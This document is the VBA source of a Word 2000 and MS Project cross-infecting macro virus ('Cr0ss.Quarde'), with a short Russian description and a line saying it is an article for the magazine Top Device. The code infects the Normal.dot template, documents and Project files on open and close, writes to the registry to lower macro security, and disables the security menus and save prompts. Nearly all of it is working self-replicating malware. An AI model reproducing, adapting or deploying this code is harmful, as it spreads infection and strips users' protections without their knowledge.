Cross макро вирус под word2k/project. Заражает документы при открытий(Document_open в документах) 
 и при закрытий (Document_Close в Normal.dot), Project заражает при Project_Open. Отключает 
 встроенную защиту от макро вирусов(в w0rd`е и в Project). Проверяет если есть в системе MSProject 
 заражает его.

Sub Document_Close()
On Error Resume Next
'Quarde
If Application.Version = "9.0" Then
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1)
Options.SaveNormalPrompt = (1 - 1)
End If
TD = ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines)
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(3, 1) <> "'Quarde" Then
Set NT = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule
NT.DeleteLines 1, NT.CountOfLines
NT.AddFromString TD
NT.Replaceline 1, "Sub Document_Close()"
NT.Replaceline 41, "Sub projinf2()"
End If
If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(3, 1) <> "'Quarde" Then
Set VA = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
VA.DeleteLines 1, VA.CountOfLines
VA.AddFromString TD
VA.Replaceline 1, "Sub Document_Open()"
VA.Replaceline 41, "Sub projinf()"
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If
Set projobj = GetObject(, "MSProject.Application")
If projobj = "" Then GoTo nema
Set proj1obj = projobj.Projects.Add
Set Normalz = NormalTemplate.VBProject.VBComponents(1).CodeModule
proj1obj.VBProject.VBComponents.Item(1).CodeModule.InsertLines 1, Normalz.Lines(1, Normalz.CountOfLines)
proj1obj.VBProject.VBComponents.Item(1).CodeModule.Replaceline 108, "Private Sub Project_Open(ByVal pj As MSProject.Project)"
Proj1.obj.Visible = False
'Cr0ss.Quarde
nema:
End Sub

Sub projinf2()
Dim Q As Project
Application.MacroVirusProtection = False
Application.DisplayAlerts = False
Application.DisplayStatusBar = False
CommandBars("Tools").Controls(9).Enabled = False
CommandBars("Tools").Controls(12).Enabled = False
On Error Resume Next
For Each Q In Projects
Set AppProject = Q.VBProject.VBComponents(1).CodeModule
Set ThizProject = ThisProject.VBProject.VBComponents(1).CodeModule
Set AllCode = ThisProject.VBProject.VBComponents(1).CodeModule.Lines(1, 80)
With Application.VBE.VBProjects(1).VBComponents(1).CodeModule
If .Lines(3, 1) <> "'Quarde" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, AllCode
End If
End With
If AppProject.Lines(3, 1) <> "'Quarde" Then
AppProject.DeleteLines 1, AppProject.CountOfLines
AppProject.InsertLines 1, ThizProject.Lines(1, ThizProject.CountOfLines)
Application.FileSaveAs Name:=ActiveProject.Name
End If
Next Q
Set WordObj = GetObject(, "Word.Application")
If WordObj = "" Then
Set WordObj = CreateObject("Word.Application")
crossQuit = True
End If
Set Norm = WordObj.NormalTemplate.VBProject.VBComponents(1).CodeModule
WordObj.Options.SaveNormalPrompt = False
Norm.DeleteLines 1, Norm.CountOfLines
Norm.InsertLines 1, tp.Lines(1, tp.CountOfLines)
Norm.Replaceline 1, "Sub Document_Close()"
Norm.Replaceline 41, "Sub projinf2()"
Norm.Save
If crossQuit = True Then WordObj.Quit
End Sub


 Статья для журнала Top Device